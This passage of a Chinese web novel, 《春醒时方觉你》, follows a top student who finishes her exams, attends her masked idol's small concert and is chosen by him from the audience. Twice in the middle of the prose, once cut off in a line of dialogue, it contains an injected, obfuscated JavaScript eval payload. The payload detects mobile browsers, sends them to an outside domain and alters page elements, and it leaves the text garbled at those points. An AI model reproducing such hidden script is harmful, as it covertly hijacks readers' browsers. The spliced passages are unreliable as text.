《春醒时方觉你》 1. 高考结束 燥热的夏天像披上了一层绒毛棉被，苦闷得四处都是蝉声鸣鸣。 大庆市西津一中，人影绰绰。 寂静的校园里终于传来一阵清脆悠长的铃声，随即机械的女声读念—— 【考试结束，请考试立即停笔，若有考生继续作答，监考员应及时制止并予以当众警告，若再次作答，即作违规处理，考生将受到取消本科目考试成绩的处理。】 忽而雨恣意下着，人腿脚边卷起一层凉意。 坐在三排四座的许诗递过考卷，监考老师无意扫了一眼卷面，字体娟秀工整，全部答满，出于批卷人的心理，愉悦不少，肯定道，“接下来好好放松吧。” “辛苦老师。” 许诗几乎西津一中所有老师都听过的对象，学校荣誉墙挂满照片，几乎每科冲顶，竞赛类国奖常驻。 名副其实的天之骄子，高考对她来说只是一次进阶的渠道。 她伸了伸懒腰，呼了口气，笔在手里怔了好几秒，慢慢放下，意味着整个高中生涯就此结束了。 莫名地有点不舍，就像列车进站，要赶往下一趟，但途中的美景还在脑海流连。 “许诗，还没走啊？”同班同学脸上可见雀跃。 “马上了，拜拜。”清冷的面容终于露了点不舍。 今天绑了个高高的丸子头，凸显傲人的天鹅颈，一袭青黄校服土到极致，少有人能穿出风格。 但她长得高，身材也好，穿起来就是一件时尚单品，恰好又属于那种具有视觉冲击的古典大美女相貌，说是为她量身定做也不为过。 但人也是真的冷。 用闺蜜方晴晴的话来说，不知道她的人，跟身边吹西伯利亚的冷风差不多。 她往低矮的窗外一瞧，下起了滂沱大雨。 果然重大时刻都得风雨同舟。 教室的人还未全部走散，有的垂头丧气，也有的激情澎湃演绎做题心得，大多是考完沉默走了。 西津一中，不会有担心考不上大学的人，只有烦恼选择哪所大学更好，毕竟全国二十强院校，升学率不是白说的。 “许诗！” 说曹操，曹操就来了，许诗都不用想就知道是方晴晴，高中三年，她是比爸妈更在乎自己成绩的存在，当然比校长还差点。 许诗正在收拾笔具，抬头望，“笑得这么开心，看来发挥得不错。”把小熊橡皮锁进考试文件袋，被方晴晴立马拉着走。 “发挥还算稳定吧，没遇到什么太难的题目，说好不对答案的，快，快走吧！” 一路走过长长的走廊，考试的紧张感只释放一点，很快又被身边嘈杂的讨论题目声拉回。 耳听八方，她快要疯了。 又好像听到了谁说的英语阅读题粗心错了几道，心想这么快就知道答案了，一看，都在手机上翻着各路大神的自考呢。 许诗看她神经兮兮，“你这几次的月考在市里排名不错，别担心。” “要想知道答案，不如直接问我。” 方晴晴竖起大拇指，“不愧是提前保送的学霸！” 幽怨说，“许诗你说我都经历了三次高考，怎么还是得遭这罪！” 周围讨论的声音越来越大，任何一个字对高五生来说都是痛击。 “stopped，这题应该是过去式，你是不是看错题了。” “听力题前四题怎么会全部选A，我琢磨着也没听错啊，都怀疑人生了。” 方晴晴生无可恋地看着许诗，这听到的答案一个比一个要离谱，又按耐不住好奇！ “许诗我错了，你告诉我正确答案吧，要不然我真的会疯。” “前四道，到底是不是都选A……”星星眼藏着一大片泪花，看得人心软。 “我不告诉你，都考完了，就算知道结果也不能改变什么，乖，咱不自讨烦恼。”许诗摸摸被炸毛的头，那是方晴晴为了刻苦读书，专门剪了个男生头，说是不能让生活占据她刷题的时间。 她像个泄气的皮球，有的没的踢着前面的空气，“我哪像你啊，全校断层第一，早早就保送京大，哪里知道高考对我们这些没有天赋人是多么重要，今年要是再考不好，我爸妈怕是直接送我进厂打工了。” “你爸不会的，他老早就给你准备了大学的钱，都攒五年了。” “……” 瞧着有人挖苦的样子，方晴晴还真气不过，“许诗你无辜的样子说出来的话，真的很欠揍诶。”又觉得人说得没错，嘟囔道，“求求你了好不好，就英语，就英语……” “不说，不说，说了到时候伤心落泪，我又得费心安慰。” “大美女外表，蛇蝎心肠的内核……” 这话一说完，马上有人关注到这边，“许诗？” 爽朗的自来熟。 许诗认了出来，是隔壁班的卫凌轩，同学口中的千年老二。 方晴晴看着他拿着考试袋，小声说，“不是，那卫要强怎么也来了，不是之前就全校公布他不参加吗，这……装啊。” “你小声点。” “不是那要强同学，”许诗一怔，怎么也跟着方晴晴了，“你考得怎样？”方晴晴在一旁憋笑得不行。 “一般，估摸会扣个二十分吧，主要是物理，不小心看错一道选择题，还有语文作文，估计拿不了满分……”卫凌轩也不在意。 “他还说上瘾了。”方晴晴腹诽，特别是戴上眼镜，就一整个憨呆子，“那个，我要不先走吧，我爸妈估计也等急了，就让你们两个学霸慢慢探讨，走啦，手机上聊，可别忘了给我发答案。” “不用我撑你了？” 方晴晴拍拍书包，“没事，我有伞。” 就剩她和卫凌轩，怎么说，有点尴尬。 他俩都被保送了京大，平常不怎么交涉，顶多在排名 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“估计是吧，想趁着这股精气神好好刷几个奖。”卫凌轩笑着说，两人看起来还是很融洽。 他之前没和许诗有过学术交谈，最多也只是一起同台领奖，很多人笑他千年老二，不过他也没在乎，反倒很欣赏这位对手，居然在藏龙卧虎的西津一中，做起了常胜将军。 “可以呀，我看你是要把全国的奖章都拿遍。”许诗开玩笑，她从心底里佩服卫凌轩。 许诗没什么架子，虽看着清冷，但和谁都能聊上几句，这得益于她天生的优良基因，老许是大学教授，吴女士是国家剧院的舞蹈演员，自胎起就教她怎么处人际关系了。 卫凌轩爽朗笑笑，自然交谈，像老朋友一样，“准备去哪儿旅游？” 两人都轻轻松松。 “全世界游，具体去哪里，追随心中意。”许诗丝毫不掩饰，也没觉得这个问题有任何逾越，出于首领捍卫领地的本能，她甚至还想问卫凌轩要考什么竞赛，或许自己旅游的同时还能拿几个将，但她生性不好斗。 至少自己是这样以为。 方晴晴又有话说了:不好斗能常年第一？ 青春期的少年，就该留有狠劲。 两人互换了微信，各自道了珍重，江湖路远且行且珍惜之类的话就散了，末了卫凌轩说了一句大学见，还是那股认真劲儿，给许诗听出来的意思是，大学我还要和你拼。 她很期待。 除此之外耳边还有很多离别不舍之类声音。 许诗从来不认为分离该被冠上什么悲情色彩或者要度量其中意义，分离这件事稀松平常，所以她不会显得和其他同学一样凝重，反倒明媚地挥挥手。 “大学见。” 2. 旅游计划 把人接了回来，吴女士开始在厨房忙上忙下，老许还是坐在沙发上读书看报，和平常没什么两样，升学宴早就一周前就举行了。 “又在做你那什么身份证了？”老许转过来问。 许诗扭头白一眼，盘腿坐在绒毛毯上，阳光从窗户泄下，皮肤透亮白净，人显得慵懒认真，“这是流麻小卡，花了800块收的，怎样，我偶像帅气吧。” 这张偶像穿着宽松背心，被夏日海风吹得贴身，依稀看到劲瘦的胸肌，少年戴着红色面具，热血妖魅，是大自然最出色的雕像。 她一直用雕像形容柯柏坤，天生对神的爱慕，觉得没有什么人能在氛围感上打败柯柏坤。 方晴晴说她多多少少带点滤镜，许诗不服，等见到本人没准给你吓死。方晴晴笑得不行，追了三年也只是活在想象中，从来不露脸的偶像算什么偶像。 许诗说她肤浅，面具里就是是个丑八怪，她也喜欢，反正听的是歌，人长什么样，家住哪里，年龄几何，现实中怎么样，管她小粉丝什么事。 追了三年的偶像，从高一到高三，她就听过歌，看过半脸不漏的视频照片，就连柯柏坤这个名字也是给小粉丝扒出来。 艺名叫柯柯。 许诗并非私生粉，有时候她不想偶像太出名，不是害怕见到面具下的真实，自己伤心什么，不会，她从来都只是关注歌曲下的那个柯柏坤，从来都是和音乐灵魂共振，而人，不过音符的载体。 他就好像突然降临世间的神，人类无边界地探索，就是亵渎。 ……现在她终于觉得自己对偶像是有点滤镜了。 “这张得摆在床头。”衣角仔细擦擦，许诗爱惜得不行。 老许凑近端了端眼镜，一副讳莫如深样子，像看未来女婿的指点，他也不反对女儿追星，反倒有时候觉得人太闷太冷淡也不好，这小子能带来正能量，就追吧，谁年轻时还没几个暧昧对象了。 …… “人看着是帅气干净，太瘦了，你往后上大学可别找这样的。” “你又来了，就是个精神对象，没往那方面想，你女儿可配不上人家。”她把小卡精装好，老许不识货，等她什么时候带给方晴晴看。 这话一完，厨房立马响起吴女士厚实的喷嚏，滋滋冒油声音卷着那独特的女高音传出来，“许向远，过来择菜。” 老许对喊答应，把报纸折叠整好放在一旁，煞有介事说，“不说了你妈催得紧，书桌有我们送的毕业礼物，你看看去，别捣鼓这儿了。” “等会儿看。”她已经把二老的心思琢磨透了，除了一系列名人著作，实在猜不到别的，抚平纸张挑好了水彩笔，埋头做起了旅游攻略。 “PuertoViejo。” 平板上播放着位于哥斯达黎加的一处海滩，许诗捧着双颊，发了神，少女洋溢的欢喜心思从遥远的大洋彼岸吹来，嘴角不自跟着唱，“连发梢都赞扬爱和自由的PuertoViejo，他要寻找背上有蝴蝶翅膀的女孩。” “蝴蝶翅膀的女孩，那是怎样的女孩？”笔头戳着小脸，红了几个印，思绪被推向细软的沙滩，海风沙沙，有人踏着海水，欢声笑语…… 曲调是她最喜欢的蓝调风格，再嵌入偶像中偏底的少年嗓音，像叙叙说着故事，外加一层隐秘的面纱和富有设计的动作，整个表演就像一场演练了一千次的舞台剧，哪哪都找不出瑕疵。 柯柏坤不像其他音乐人音域广，大多是温沉风格，所以作词作曲也是抒情婉转类型，有粉丝喊偶像多尝试突破，许诗不以为然，她觉得柯柏坤天生就应该那样，强行到不合适的领域会很怪，在舒适圈做到极致，也能打败很多人。 所以她会经常在柯柏坤社交软件讲理，用那种带有主谓宾，论据论点的段落反驳，最后黑粉骂爹骂娘污秽的话都出来了，她也生怒不了一点。 好像对被别人骂这件事上天生不敏感，但也因为这样，学习的投入程度比别人高很多，再加上领悟能力天赋，她读书以来都是全校第一，从不例外。 这大抵是老许作为大学教授，从小对文字规整，她也跟着潜移默化了。 而音乐上独特的感受能力，来自吴女士优良的基因。舞蹈音乐家的女儿，许诗引以为傲。 耳机里的妙音变得具象，就好像真的坐在偶像面前，静静聆听。 认真是最大都诚意，天赋是额外的献礼，两者融合达到的灵魂一致会分泌出前所未有的多巴胺，这也就是为什么许诗一点也不在乎柯柏坤到底长什么样，她从来都不是外貌协会。 初一有个龅牙男生追她，用她们班同学的话来说，就是个还没进化的狒狒，保持着古动物求偶动作。 被拒绝了不下五次的校霸帮她出气，将那龅牙男生堵在墙角，手还拿着仿真木棍，嚣张气焰说，“干嘛呢，人家不喜欢你，下一次还敢塞情书这些破玩意儿，小心哥揍你！” 从那一次过后龅牙男生就没再敢追，校霸因此得了个好人奖励，过后问她，“我瞧着你也不讨厌我，还怪用心帮我补习，难道就真的不喜欢哥？” “我情窦初开得晚，现在说不定根都没长出来，对这方面没想法，不过你确实长得好看，人也努力仗义，要是好好用在学习上，说不定你也能斩草除情根。” “……” 她说这番话没点调侃的意思，但着实把人伤到了。 从此以后校霸发愤图强，毕业合照那会儿两人留了合影，说要是功成上岸，会回来找许诗。 她感慨，没想到自己还有勉励人的本事。 “老许，许诗又沉溺了？”吴女士今日主厨掌勺，在厨房也很难听不到外面鬼哭狼嚎。 老许竖起耳朵，是有这么一些嘈杂，听完笑嘻嘻，“你仔细听听，什么心择一处长满薰衣草的栖息地，在普罗旺斯的紫调下一边活着一边死去。现在这些年轻人，比我们浪漫多了，话说那小子词儿还真不错。” “我看女儿钱树开花了，也难得对一件事这么有兴致，咱二老就支持着吧。”两人在门厨内偷着看。 有时候他们甚至觉得许诗性子太过安静，情绪稳定得像她老爷子，患了脑梗不哭也不闹，而后才知道，她只要把当下的事情要做好，像个螺旋一样，紧跟着生活的程序。 做好女儿，做好学生，做好一个社会角色。但自从那个小子出现，才有些不一样。 大致把旅游攻略做完，许诗伸展麻痹的双手，看着笔记本上满满当当的旅游注意事项，大呵一口气，继续沉浸在耳机世界。 “我们会举一杯温和的红酒，在普达佩斯的游船上，对着璀璨梦想，一起谈天说地。”末后在笔记本上写下了这一段话，是偶像《圣地》里的歌词。 “你确定不叫方晴晴去？”老许把热腾腾的菜端出来，看人还在犯着发痴，“我担心你一个人在外人生地不熟，外国治安不好，遇到什么事也有个人商量。” 她取下耳机，对着老许无奈眨巴眼睛，散开的发丝垂在直角肩上，老许看着闺女瘦弱的胳膊，要是真的对抗起来，哪里是人家对手。 “方晴晴暑假要帮家里忙，再说了，你女儿可是跆拳道选手，只要我不犯事，别人也找不到我身上，有什么事求助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765182|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好了。”把笔记本盖上，跳起来打了一套太极拳，“我还找了不少风险风范知识看，你和老妈就不要担心啦。” “小胳膊小腿挥几下，确实能赶走不少空气。” “……” “你把那桌面的礼物看了没？” 许诗瞧着老许神秘兮兮样子，起来把笔记本抱在身上，光着脚小跑进房间，看到桌面即刻入眼的演唱会门票，声音快要把顶都掀了，“老爸老妈！你们哪儿弄来的，我都抢不到！” “我们知道你喜欢这小子，恰好你小姑人脉广，在这里面找关系，就托她弄了两张，你开心就好。”他摆弄着菜碟，“正好赶在旅游前去，你喊上方晴晴。” 许诗连忙给方晴晴打了电话，里面人比她不知兴奋多少倍，结果就是从得知去演唱会的前一周，俩人闭门不出疯狂练歌，说是倒背如流也。 出发前几个小时。 “算上堵车时间，差不多得马上出发。”许诗穿了紧身青色针织短袖，配搭一条宽松牛仔裤，化的淡妆，看起来冷冷淡淡的御姐风格。 方晴晴从厕所出来，手里还提着化妆包，被眼美人惊讶到，“许诗你真的是天生的衣架子，怎么穿都好看，这身材我好羡慕，随便抹个粉底都赶上精修了，果然天生丽质。”她不吝赞美，捧起她小下巴，“今晚想要迷死谁？” “迷死柯柏坤，我准备上台抢人行了吧，快走吧。” “到时候帮你拦保安。” “……你到时候叫人去赎我。” 演出正好在她们市内，离许诗家驱车不到一个小时，200人的场地，原本就是专门给老粉的福利，许诗入会没到三年，确切来说只有两年四个月零五天，去不了她不怎么难过，总能自洽，方晴晴说她不是合格的粉丝，因为太清醒了，清醒到甚至不需要偶像本人。 反倒是方晴晴更像个狂热粉，一坐下来各种拍照，“我们去你偶像站牌合照，舞台中间拍一张，左侧右侧也不能少，超广角来一张……” “拍得还挺好看。”许诗一张张上下滑动，位置上都坐满了人，离演出还剩半个小时，不少人开始交头接耳。 “你说柯柯这次会不会有新歌，我听说他特地为高考学子作了曲，前几天不是发了音棚照片吗，估计就是高考后那几天完成的。” “不是吧，柯柯也太有诚意了，他知道我们粉丝都是学生粉，爱了！” “网传柯柯也是高中生，应该是高二。” 旁边的方晴晴戳戳许诗手肘，“你偶像可能还未成年，咱别把人拐了，你也别冲动上台，那真的会蹲局子……” “……” 方晴晴又说，“不过他高中怎么这么闲，我都读了五年高中，还不是忙得跟条狗一样，他没有升学压力？我看着你偶像产出还挺高。” “可能是艺术生之类吧。”许诗猜，一般音乐做到这种程度，那必然是职业选手。 场上的灯光一下子昏暗，剩舞台中央一道柔弱的青色光芒，烟尘颗粒自由舞动。 所有人屏住声息。 简约的舞台顿时熠熠生辉，升降台慢慢升起，光束中浮现一个修长的身影，随即所有灯光啪一声亮起，光芒万丈…… 场上200人的声音可比千人，她们和自己的偶像奔赴这一场约定承诺，今日是柯柏坤出道的地一年，也是他成为音乐人的第二年，更是他们一起携手并进的第三年。 热浪一滚接一滚传来，没有源头，没有终点，所以人都在大喊，挥着荧光棒。 “柯柯！” “柯柯！” “柯柯！” 3. 夏日演唱会 似梦似幻，少年披一身星光缓缓降落。 场内戛然而止，她们瞪大眼睛，等待冲破寂静音符的那一刻，数秒之后，熟悉的旋律开始悦动，平缓而抚人的音调是凌晨清啼的鸟声，夜晚星空下众神冥想的交响乐。 随后所有人欢呼。 “许诗！你偶像诶！”方晴晴的荧光棒都挥断了几根，虽然柯柏坤不是他偶像，但不妨碍一秒爱上。 倒是许诗安静得瘆人，怕人晕过去，捧起她的脸，点她鼻息，沉重灼热，”醒醒，这可是你偶像的演唱会，发什么呆，难道他脸上有你未解的物理题？” “没有啊，怎么了？”许诗也不扭头，就静静看着舞台中央。 “你太安静了，怎么，你能透过人类，看到基因分子？” “我看他面具挺好看的，还金闪闪，像美猴王。” “？” 其实许诗心里早就慌乱得不行，只不过她对待被吸引之物一般只有这个表现，嗯。 方晴晴挪了挪屁股，一本正经道，“我也这么觉得！你偶像审美真别致！不，我们的偶像，我告诉你，手头上的小卡得卖我一半，回去供起来。” 许诗这才晃神打量方晴晴，竖起大拇指，“不愧是爱众生的天使，这月几个了？” 璀璨的灯光打在两人头上，折射出斑斑驳驳舒柔光影，没有舞美，台上简单极致，是初夏海风的味道，少年青春不需要太多装饰，一个歪头笑就能收获无数少女的心。 这就是柯柏坤。 方晴晴目不转睛地盯着柯柏坤，一脸傻笑，“都塌完了，他顺位第一！才华，颜值，还有绝杀宇宙的氛围感，我不相信面具下会是张飞模样，铁定是个结结实实的帅哥！”她分析得头头是道。 能在追星路上和方晴晴结成同一阵营，许诗觉得这无异于透过人体表象看到基因分子。 歌曲进入高潮，像是海面平白吹起一层浪，啪嗒迈进脚底，心颤了一下，又缓缓地退下，让人意犹未尽。 “没想到你眼光比我好，学霸果然能透过现象看清本质！我发誓，今后无论是学习还是找男人，我方晴晴都跟你看齐！” “……你只要肯把对一百个男人的心思花在一个男人身上，总能看到他们的优点。” “那得多亏，万一塌了我岂不是折兵又损将。” 许诗失声凝视，没想到一副乖巧的表皮下居然是个女海王，啧啧称奇，“我才该向你学习。” 场上欢呼过后，再次进入抒情氛围，每个人都脸上都洋溢着幸福春光。 柔黄的暖光化身遗落人间的天使，趴在少年肩上，和着轻抚的摇篮曲沉沉睡去。 众席上不少粉丝在拍摄，因为是第一次演唱会，这次见面比任何时候都要珍贵。 许诗也拿出了单反，可能是单反的原因，她能看到的视野要比双眼直接看到的要清晰，以至于真的有一瞬间好像透过面具看到了人本来的样子，晃了神，心脏扑通扑通。 “你怎么了？不舒服吗？”方晴晴问。 跃动的光线完全停滞在舞台之上，透过镜面看到少年喉结咕噜地滚了一圈，慵懒自在地盯着某一处，歪头打量着上面，嘴叫还有些故意作笑的成分，两人就这么互相盯了很久。 直到方晴晴害怕许诗被夺舍才把人拍醒，“我还以为你天生冷淡，没想到是闯不过美男关。” 她悠悠从单反异端挪了开，生怕惊醒对面那双钻石般的精美眼睛，一脸不敢相信的样子问方晴晴，“他，好像在看着我？” “谁看你？” “我偶像。” “不是吧，他看你干嘛？” 说完把单反移给了方晴晴，“里面。” 方晴晴凑过来看，那双美猴王一样的眼睛就这么直愣愣地盯着，带点邪魅和故意，看久了仿佛要把人的灵魂都吸走，有这么一瞬间，方晴晴觉得是镜面保护了她们。 “拍好了吗？”少年还藏在单反里面。 许诗怔了怔，不确定这句话是不是对她说的。 随即四周声势浩荡，有粉丝爱开玩笑，“脱脱脱！” 人裹得更加严实了，以至于衣服上露出八块腹肌纹理。 这下完全疯狂了，耳膜都要震碎。 “嘶，这我爱看。”方晴晴一脸□□，“你也没看过吧。” 许诗啧啧叹，没想到追星的都是洪水猛兽，“我去哪儿看，指不定人家还是未成年。” “童子功，好！” “……” 方晴晴左右打量，她初中混韩圈，高中混泰圈，现在混国际圈，对这些事了如指掌，“许诗你不知道，和偶像谈恋爱，那是要下地狱的，即便被青睐一点，那也会遭到无数粉丝攻击。” “这么吓人？” “那可不，之前我担被爆出有个圈外女友，从此资源江河日下，真爱粉变成黑粉，各种黑料满天飞，一个惨字不能概括。” 这时许诗还抬着单反，随性拍拍，“怪可怜的。”她没混过什么娱乐圈，听方晴晴怎么说，有点夸张但能理解，“人红万人捧，墙倒众人推，不难怪。” “你清醒，不过我以我多年混饭圈的经验来看，柯柯值得信赖。” 许诗还是第一次看方晴晴这么肯定一个人，“为什么？” 她耸肩，“之前你和我说我还不信，今日得此一见，原来真有人单单靠气质就能迷倒万千，我看他面相良善，也不会说点撩人之类的话，估计搞纯爱。你大可放心追，但！” 方晴晴擤鼻子，摇摇头，满是遗憾看着许诗，有种野菜挖了大半辈子，男人还不是你的，怜悯说，“粉丝没戏了，好男人都洁身自好。” 许诗噗嗤笑出来，余光有意无意地掠过柯柏坤，她无法反驳方晴晴，“你还能悟出这么多？” “我对功课没这么认真，但看男人是认真的，你以后谈男朋友，可得先过我这关。” “嗯。组建我们三人的家庭。” “噗，许诗你有毛病啊。”方晴晴给口水呛到，平常时不时蹦出一两句冷笑话，可没给人笑死。 旁边穿着玩偶服女孩扭头看她们在干什么，做了个安静动作，偶像要讲话了。 方晴晴打了许诗一下，“以后你提前预警。”忙着又和周围人说对不起。 舞台中央摆放着架子鼓，显眼的银白音麦像在他手中像自由女神举着的火炬。 灯光一瞬间变得昏暗，音乐声被吸进每个人的口鼻，珍惜得像大漠甘霖，少年一下子变得沉重，就连红焰面具下似乎藏了很多密话。 “今晚好玩吗？”少年拿捏自然，很多思念被这一句话化开成玩笑。 有些眼泪浅的女生哭了，呜呜咽咽说，“好玩好玩！” 对话听起来莫名乖。 少年修长的双手具有锻造的骨感美，几条蓄着热劲的青筋不停跳动，手轻轻松松搭在银麦上面，腕上也戴着一条松松垮垮的青素简手链，薄薄嘴唇贴近了麦，“好玩还在哭。” 把心事摆到面前，真诚热烈，简单坚定，“我也想你们了。” 场下粉丝又哭倒一片。 小狗毛茸茸发丝被风着，自然微合的双眸在面具的笼罩下也能也看出清朗笑意，鼻梁高耸流畅，嘴唇光泽透亮，没有任何华饰点缀，却俨然成为了夜空最耀眼的星。 他做了个轻嘘动作，眉角依旧宠溺，“好啦，别哭鼻子了，我们慢慢来。” 少年附耳聆听，好像她们曾经真的山盟海誓过。 “柯柯能不能多开演唱会，好多姐妹都没能来，我们都想见你。” “是呀是呀。” 海浪般的思念涌来，几秒后恢复寂静。 少年有些抱歉，风拐了一道，再吹上发梢，轻轻摇摇，“关于这次见面确实考虑不周，我保证下一次都会看到你们。那么这次承诺被拴上铁链，如果没有实现，就把我扔到孤岛上自生自灭吧。” 那是歌里的词。 一片夹带抽泣的笑声。 他把立麦取下，弓背把后面木椅拖过，头没抬慵懒坐下，松松垮垮的大喇叭裤子里荡着两条大长腿，竖八字型向外斜，人靠在后面。 如果夏日未眠，声息不止，就永远会有聊不完的天和听不完的音乐。 唱到最后，大致是人要喝几瓶水的程度，粉丝依旧兴致勃勃。 “也快到尾声了。”少年扶正面具，略有不舍，烈红的面具镶嵌着金银小珠子，在柔和的灯光照耀下折射出五光十色，蛊惑又妖魅，很难让人把它和清爽夏日混为一谈，但是少年手里很简单就能重新将它定义。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765183|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们来兑现承诺吧。”这是见面会的福利，任抽取一位粉丝满足愿望。 “选我，选我。” “我准备了。”踊跃如大海浪声。 少年打量了好一阵，“就你吧。” 目光所至观众席上，所有人都在探头，看到底谁能这么幸运。 灯光调皮扫几周，最后落在许诗肩上。 “许诗？”方晴晴第一个被吓疯，但因为见过太多娱乐圈花边新闻，很快就平静下来，“我怎么说！泼天的富贵终于轮到咱了！” 在白炽灯的照耀下，人原本就冷，许诗这会儿看起来也没有太多情绪起伏，她虽性子沉稳，但毕竟第一次面对这样情景，多少有点懵。 就没差晕过去了。 周围的女生都往这边看过来，丝丝碎语，“好幸运，好羡慕啊。” “她是谁啊？什么幸运天使！” 她和老许吴女士不少出入名流场，见过学术界的大佬，各行业巨头，但此刻也不得怦怦乱跳。 和那些投来艳羡目光的女生笑笑，作为三好学生本能使她站起来，可现在不是回答问题，也不是起来朗诵诗歌…… 而面前注目着她的是追寻了三年的偶像。 她不信鬼神，生活没有玄学，但此刻，她真的想捏一把自己，看到底是不是梦。 最后还是方晴晴给她提到现实来。有种买了彩票，不及时兑换就生怕过期的意思。 “醒醒，想多过分有多过分，别耍流氓就行。” 她双手乖巧握着话筒，注视着眼前光辉少年，熟悉的声音陪伴了无数个的日夜，耳机里的人，真的出现了…… “孤岛上会有长着蝴蝶翅膀的女孩吗？”许诗很快问了，但在之前，她想了很多种可能。 很多人被拉入沉思，好像没有人会在分析歌词是什么意思，但惊奇的是，居然真的有人想到了，而且问出来。 音响发出鼓动，温柔男低音混杂些青涩笑，“我不知道有没有，不过这个问题很有趣，也很巧妙，我想大概是一种美好具象表述，比如在普罗旺斯，我会想到奔跑的野兔，在泰晤士河，兴许也会有神仙跟着一起傲游世间。” “在地球之北……” “在地球之北，遥远的南端，会有孤独老人踽踽独行，驱赶着北极熊和企鹅。”许诗抢先一步说出来，前所未有的激动。 “这是我最早用社交软件时发表的一句话，没想到你记了下来。”柯柏坤有点不好意思，他小时候总喜欢悲春悯秋，没想到如今从别口中说出来，显得那时候有点矫揉造作。 错落的光影打在人面前，折射出蝴蝶翅膀的模样，恰好在许诗背后。 “我很喜欢这句话。”许诗说，没有什么能阻止一个将要剖开的心释放出的诚意和喜欢。 少年也看到了蝴蝶女孩，他也很喜欢这种不经意的巧妙。 “谢谢你的喜欢，其实每个地方都些有趣的物象，回忆和美好才能长时间保鲜，这也是我创作的灵感，另外这位粉丝大致地，猜出了我下一首原创的核心。”少年毫不掩饰笑意。 他忽然站起身，从舞台中央走下，光束被一点一点侵占。 许诗想到了刚刚在单反里的场景，远近对比，不知道为什么和她小时候看到默剧很像。 方晴晴惊讶地跳起来，拉着她肩膀，“许诗！柯柯朝我们这边来！” 许诗眨巴双眸，迎合那双略有故意的黑珠。 台上柔和淡黄灯光镶嵌在被风吹得蓬松的头发，折射出彩虹斑斓光色的面具如碎钻闪耀，越渐清晰伟岸的身躯朝她走来，锚定前方。 周围欢闹瞬间寂静，她屏住呼吸，忽然间，她想起了那个熠熠生辉的夜晚，曾在明月窗外瞭望，群星缭绕，有一颗璀璨的星星抢走了她所有的注意力。 而这是柯柏坤，也一如群星万丈光芒。 “蝴蝶翅膀的女孩？”他笑了笑，声线似有春水涟漪的魔力，平白激起一阵波纹。 随即一股薄荷清香鼓动她鼻瓣，是属于柯柏坤的。 许诗不敢张扬贪婪吸入，怕不小心惊吓多年的少女情怀，轻声一笑，一晃碰见了多年未见的好友，而那个人，是她置放在心里，心心念念了许久的人。 “你好，我是许诗。” 4. 遇到黄毛 演唱会结束后人群逐渐离去，许诗和方晴晴打车走。原本两人想着在后台蹲个签名合照什么，没想到这天大的好运砸到头上，愣是扯着人差不多拍了个短剧。 车一路摇晃，驶过繁华都市，无人街景。许诗枕着车窗沿外看，脑海里都是演唱会的景象，就今天感受来说，像亲手剥开了个盲盒，还没准备好，手持魔法棒的女巫就轰然出现，把原本属于脑海里的场景放映，有些和印象中一样，也有的在意料之外。 但总的来说，算是个难忘的体验，至少是在诞生的十几年里以来，是值得写进墓志铭的一件事。 【这里葬着一个平凡的好人，在既定几十年人生时光，做了很多事情，她想全部镌刻下来，可是墓碑太小了，那就记住她也曾见过群星闪耀。】 很多闪闪发光的人，柯柏坤是其中一个，方晴晴也是其中一个。 “没想到柯柯真人这么高，我估摸着有一米九，还有你看他皮肤没有，细嫩水润，比女孩子还精致，可惜看不到全脸。对了，你说他怎么会找你？”方晴晴福尔摩斯上身，看着手机的合照不停地放大缩小。 许诗凑上来，三人拍照，她在中间，方晴晴在右边，柯柏坤在右后侧，比她们高上不止一个人头，“不亏是氛围感之神，我们俩死透了，找上我们，估计为了达到合照最明显化。” 方晴晴一边滑动一边对比，笑得前后仰，“许诗大美女也开始自贬了，我看你们美丽帅气的很，小丑就只有我。” “好姐妹这样说话？”许诗掐着她脖子。 “这次真的不行，人都摆在面前了。” “朋友这么多年，滤镜都哪去了？” “得！立马戴上！”方晴晴虚空摸了个眼镜戴上。 之后就展开了自恋二人的疯狂自我美化催眠的故事。 前面射来一道炽热的光，司机不时看下坐后镜，身子防卫，一副疑惑不解的神情，好像在说，今天不幸，遇到两个傻子，他拿出手机，许诗以为司机下一秒就准备发朋友圈了，正准备严令制止，司机眼神突然变得温柔，“你，你们这种情况大晚上就不要出来了。”思考半刻，“多久了？” “……” “师傅我们到了，就在路边下车吧。”方晴晴拉着许诗赶紧下车，等车chua一声走远，“司机指定有点问题，我观察他很久了。” “他估计也是这么看我们，还想理论来着呢。”许诗兜着手，风一吹，额头上的胎毛散开，额头饱满白净，“这是哪里？” 四下无人，除了路旁大口喘息的路灯，偶尔飞跃几辆酷炫摩托，大概是那种大晚上睡不着，要和交警比比劲头的黄毛青少年，看到两个妙龄少女，故意开慢，还吹口哨调戏。 “美女，这么晚去哪里，要不要坐上哥的怀里，带你们风驰电掣。”色迷迷看着她们，转头和别的男说，“身材够不错的，玩起来一定很爽。” 许诗二话不说从脚下踢起了个石子，攥紧，蓄里往那车胎一扔，连方晴晴都反应不过来，她还想着以和为贵，毕竟这在鬼地方，要是起了冲突，叫天天不应叫地地不灵，铁定她们吃亏。 “确定出手了？” “你看还能逃吗？”第二颗尖锐石头也扔了过去，直接砸中了说话黄毛的肩旁，许诗一副要为社会除暴正义凛然的样子，云淡风轻，“你爸妈没教你怎么做人，那就要做畜牲了？” “你骂人的方式真高级。”方晴晴也提起来胆子。 